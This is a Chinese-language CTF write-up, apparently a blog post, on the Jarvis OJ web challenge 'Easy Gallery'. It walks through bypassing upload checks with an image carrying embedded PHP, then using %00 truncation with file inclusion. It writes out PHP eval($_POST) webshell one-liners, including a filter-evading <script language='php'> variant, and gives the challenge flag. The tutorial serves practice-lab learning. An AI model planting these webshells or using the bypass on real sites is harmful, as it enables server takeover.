美文网首页
CTF-WEB-Easy Gallery #文件上传#文件包含

CTF-WEB-Easy Gallery #文件上传#文件包含

作者: Watanuki | 来源:发表于2018-09-10 14:02 被阅读0次

描述:

"没有什么防护是一个漏洞解决不了的,如果有,那就....."http://web.jarvisoj.com:32785/
Easy Gallery
Submit Your photos and descriptions of photos~

上传页面
http://web.jarvisoj.com:32785/index.php?page=submit
查看页面
http://web.jarvisoj.com:32785/index.php?page=view

分析:

  1. 感觉是要传图片但是执行作为php解析并执行命令(),而且坑不止一个!
    先改文件名,好的不给传,不是前端校验。


再改Content-Type,好的不给传,并不是那种会被轻易蒙蔽的系统!


识别文件头
  1. 既然检查文件内容了那么感觉是不是图片马呢!在图片内容后面跟了个一句话,上传成功。在view界面输入id查看图片http://web.jarvisoj.com:32785/show.php?id=1536503255&type=jpg
    查看源代码<img src="uploads/1536503255.jpg"/>得到http://web.jarvisoj.com:32785/uploads/1536503255.jpg的绝对地址,访问了下,是的。然后就不知道干啥了,为什么到这里还不给我flag!()
  1. 然后大佬说因为参数=filename所以看起来就像文件包含,好吧你说像就像。文件包含的时候发现后面为何自动带了个.php,贼心一起,用%00截断发现是可以解析的,只不过提示you shall not pass"you should not do this"。思路再次卡死。
    文件包含
    %00截断
  2. 然后大佬说感觉可能是php一句话的什么被过滤了,换用:<script language="php">@eval_r($_POST['cmd'])</script>
    换句话
解析成功

得到flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}

总结

  1. 串一下思路,首先是把php上传(改文件名、改Content-Type,改文件内容),然后是如何解析并执行php(web容器的解析漏洞、php文件包含)。ctf题不会需要你连菜刀搞事的()。
  2. 这是一道常识题,我们来存一下常识。
    <?php @eval($_POST['pwd']);?>
    <script language="php">@eval_r($_POST['pwd'])</script>
    CTF从入门到放弃

相关文章

  • CTF-WEB-Easy Gallery #文件上传#文件包含

    描述: "没有什么防护是一个漏洞解决不了的,如果有,那就....."http://web.jarvisoj.com...

  • 包含漏洞

    文件包含脑图 本地包含 使用include文件 代码表示上传的文件都以php执行 远程包含 需要把allow_ur...

  • 解析漏洞与文件上传漏洞

    前言 文件上传是很常用的功能点,如:上传头像、上传附件、保存文件等,文件上传漏洞的思想很简单,即可以将包含恶意代码...

  • adobe dreamweaver 取消上传相关文件

    当我们源文件包含了其它文件的链接的时候,上传的时候,相关文件也会同时上传。 如果我们不想这样,只是想上传当前保存的...

  • 通达OA文件上传+文件包含RCE

    漏洞概述 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公...

  • RFI(本地文件包含)总结

    这一条文件包含可以在文件头里显示内容。 这是在Linux下系统的文件上传的命令。 测试发现上传成功。

  • BUUCTF-[极客大挑战 2019]Upload 记录

    [极客大挑战 2019]Upload 题目直接上传文件,开始我上传了个图片吗,提示文件包含

  • js跟java计算mad5不一致

    今天碰到一个比较棘手的问题,经理要求上传文件同时上传文件的信息,信息包含文件的md5,后台会做文件完整性校验等,我...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • Tomcat下应用上传的文件无法通过nginx访问

    问题 部署在tomcat下的应用,包含文件上传接口。但是在上传文件到服务器后,nginx无法访问到文件,报 Per...

网友评论

      本文标题:CTF-WEB-Easy Gallery #文件上传#文件包含

      本文链接:https://www.haomeiwen.com/subject/kxrsgftx.html